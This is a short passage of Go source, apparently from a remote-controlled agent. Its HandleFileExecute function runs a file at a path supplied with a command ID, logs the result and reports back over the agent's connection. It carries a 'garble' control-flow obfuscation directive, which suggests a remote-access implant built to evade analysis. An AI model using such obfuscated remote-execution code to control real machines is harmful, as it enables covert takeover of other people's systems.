|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
|
log.Printf("file_execute: %s", path)
|
|
|
|
err := ExecuteFile(path)
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
log.Printf("file_execute error: %v", err)
|
|
}
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|